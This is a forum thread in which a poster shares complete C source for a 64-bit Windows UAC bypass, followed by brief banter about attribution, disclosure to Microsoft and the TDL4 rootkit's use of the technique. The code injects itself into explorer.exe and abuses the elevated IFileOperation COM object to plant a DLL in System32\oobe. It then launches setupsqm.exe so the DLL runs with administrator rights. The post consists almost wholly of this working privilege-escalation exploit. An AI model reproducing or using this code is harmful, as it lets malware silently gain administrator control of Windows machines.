Hello.
There is mine x64 reinvented wheel, not so awful like that copy-paste http://download.pureftpd.org/pub/misc/UAC.cpp
Best Regards,
-rin
There is mine x64 reinvented wheel, not so awful like that copy-paste http://download.pureftpd.org/pub/misc/UAC.cpp
Code: Select all
#include <windows.h>
#include <shlobj.h>
#include "inject.h"
ELOAD_PARAMETERS ElevParams;
#pragma optimize("", off)
void _xmemzero(void *p, SIZE_T s)
{
SIZE_T i;
for (i = 0; i < s; i++)
((char *)p)[i] = 0;
}
#pragma optimize("", on)
DWORD WINAPI ElavatedLoadProc(PELOAD_PARAMETERS elvpar)
{
HRESULT r;
BOOL cond = FALSE;
IFileOperation *FileOperation1 = NULL;
IShellItem *isrc = NULL, *idst = NULL;
BIND_OPTS3 bop;
SHELLEXECUTEINFOW shexec;
WCHAR textbuf[MAX_PATH * 2], *p, *f, *f0;
if (elvpar == NULL)
return (DWORD)E_FAIL;
r = elvpar->xCoInitialize(NULL);
if ( r != S_OK )
return r;
_xmemzero(&bop, sizeof(bop));
_xmemzero(&shexec, sizeof(shexec));
do {
r = elvpar->xCoCreateInstance(&elvpar->xCLSID_FileOperation, NULL, CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &elvpar->xIID_IFileOperation, &FileOperation1);
if (r != S_OK)
break;
if (FileOperation1 != NULL)
FileOperation1->lpVtbl->Release(FileOperation1);
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER;
r = elvpar->xCoGetObject(elvpar->EleMoniker, &bop, &elvpar->xIID_IFileOperation, &FileOperation1);
if (r != S_OK)
break;
if (FileOperation1 == NULL) {
r = E_FAIL;
break;
}
FileOperation1->lpVtbl->SetOperationFlags(FileOperation1, FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION);
r = elvpar->xSHCreateItemFromParsingName(elvpar->SourceFilePathAndName, NULL, &elvpar->xIID_IShellItem, &isrc);
if (r != S_OK)
break;
r = elvpar->xSHCreateItemFromParsingName(elvpar->DestinationDir, NULL, &elvpar->xIID_IShellItem, &idst);
if (r != S_OK)
break;
r = FileOperation1->lpVtbl->MoveItem(FileOperation1, isrc, idst, NULL, NULL);
if (r != S_OK)
break;
r = FileOperation1->lpVtbl->PerformOperations(FileOperation1);
if (r != S_OK)
break;
idst->lpVtbl->Release(idst);
idst = NULL;
isrc->lpVtbl->Release(isrc);
isrc = NULL;
shexec.cbSize = sizeof(shexec);
shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
shexec.nShow = SW_SHOW;
shexec.lpFile = elvpar->ExePathAndName;
shexec.lpParameters = NULL;
shexec.lpDirectory = elvpar->DestinationDir;
if (elvpar->xShellExecuteExW(&shexec))
if (shexec.hProcess != NULL) {
elvpar->xWaitForSingleObject(shexec.hProcess, INFINITE);
elvpar->xCloseHandle(shexec.hProcess);
}
f0 = textbuf;
p = (WCHAR *)elvpar->DestinationDir;
while (*p != (WCHAR)0) {
*f0 = *p;
f0++;
p++;
}
*f0 = 0;
f = (WCHAR *)elvpar->SourceFilePathAndName;
p = f;
while (*f != (WCHAR)0) {
if (*f == (WCHAR)'\\')
p = (WCHAR *)f + 1;
f++;
}
while (*p != (WCHAR)0) {
*f0 = *p;
f0++;
p++;
}
*f0 = 0;
r = elvpar->xSHCreateItemFromParsingName(textbuf, NULL, &elvpar->xIID_IShellItem, &idst);
if (r != S_OK)
break;
r = FileOperation1->lpVtbl->DeleteItem(FileOperation1, idst, NULL);
if (r != S_OK)
break;
FileOperation1->lpVtbl->PerformOperations(FileOperation1);
} while (cond);
if ( FileOperation1 != NULL )
FileOperation1->lpVtbl->Release(FileOperation1);
if (isrc != NULL)
isrc->lpVtbl->Release(isrc);
if (idst != NULL)
idst->lpVtbl->Release(idst);
elvpar->xCoUninitialize();
return r;
}
HANDLE GetExplorerHandle()
{
HWND hTrayWnd = NULL;
DWORD dwProcessId = 0;
hTrayWnd = FindWindow(TEXT("Shell_TrayWnd"), NULL);
if (hTrayWnd == NULL)
return NULL;
GetWindowThreadProcessId(hTrayWnd, &dwProcessId);
if (dwProcessId == 0)
return NULL;
return OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
}
void main()
{
HANDLE expl;
HINSTANCE selfmodule = GetModuleHandle(NULL);
HINSTANCE hKrnl = GetModuleHandle(TEXT("kernel32.dll")), hOle32 = LoadLibrary(TEXT("ole32.dll")), hShell32 = LoadLibrary(TEXT("shell32.dll"));
PIMAGE_DOS_HEADER pdosh = (PIMAGE_DOS_HEADER)selfmodule;
PIMAGE_FILE_HEADER fh = (PIMAGE_FILE_HEADER)((char *)pdosh + pdosh->e_lfanew + sizeof(DWORD));
PIMAGE_OPTIONAL_HEADER opth = (PIMAGE_OPTIONAL_HEADER)((char *)fh + sizeof(IMAGE_FILE_HEADER));
LPVOID remotebuffer = NULL, newEp, newDp;
SIZE_T wr = 0;
DWORD c;
BOOL cond = FALSE;
lstrcpyW(ElevParams.SourceFilePathAndName, L"C:\\TEMP\\wdscore.dll");
lstrcpyW(ElevParams.DestinationDir, L"C:\\Windows\\System32\\oobe\\");
lstrcpyW(ElevParams.ExePathAndName, L"C:\\Windows\\System32\\oobe\\setupsqm.exe");
lstrcpyW(ElevParams.EleMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}");
ElevParams.xIID_IFileOperation = IID_IFileOperation;
ElevParams.xIID_IShellItem = IID_IShellItem;
ElevParams.xCLSID_FileOperation = CLSID_FileOperation;
ElevParams.xCoInitialize = (pfnCoInitialize)GetProcAddress(hOle32, "CoInitialize");
ElevParams.xCoCreateInstance = (pfnCoCreateInstance)GetProcAddress(hOle32, "CoCreateInstance");
ElevParams.xCoGetObject = (pfnCoGetObject)GetProcAddress(hOle32, "CoGetObject");
ElevParams.xCoUninitialize = (pfnCoUninitialize)GetProcAddress(hOle32, "CoUninitialize");
ElevParams.xSHCreateItemFromParsingName = (pfnSHCreateItemFromParsingName)GetProcAddress(hShell32, "SHCreateItemFromParsingName");
ElevParams.xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(hShell32, "ShellExecuteExW");
ElevParams.xWaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(hKrnl, "WaitForSingleObject");
ElevParams.xCloseHandle = (pfnCloseHandle)GetProcAddress(hKrnl, "CloseHandle");
expl = GetExplorerHandle();
if (expl == NULL)
return;
do {
remotebuffer = VirtualAllocEx(expl, NULL, opth->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remotebuffer == NULL)
break;
if (!WriteProcessMemory(expl, remotebuffer, selfmodule, opth->SizeOfImage, &wr))
break;
newEp = (char *)remotebuffer + ((char *)&ElavatedLoadProc - (char *)selfmodule);
newDp = (char *)remotebuffer + ((char *)&ElevParams - (char *)selfmodule);
CreateRemoteThread(expl, NULL, 0, newEp, newDp, 0, &c);
} while (cond);
CloseHandle(expl);
ExitProcess(0);
}
EP_X0FF wrote:Main idea comes from http://download.pureftpd.org/pub/misc/UAC.cpp copyrighted copy-paste work made by well known <color>hat (currently) Peter Kleissner. His main addition to the original Leo Davidson work was adding ridiculous comments in the code, for example this:D
This was reported to Microsoft multiple times (months ago) and they are too lame to fix injection to explorer.exe.(Wow, wow take it easy, explorer injection wow, reported to Microsoft, wow, they are too lame lol, no need to get angry on me <- OK Also I like this part when he looks for explorer.exe
I've followed the responsible disclosure guidelines, no need to get angry on me. TDL4 is using the bypass for 64-bit already.
Best Regards,
-rin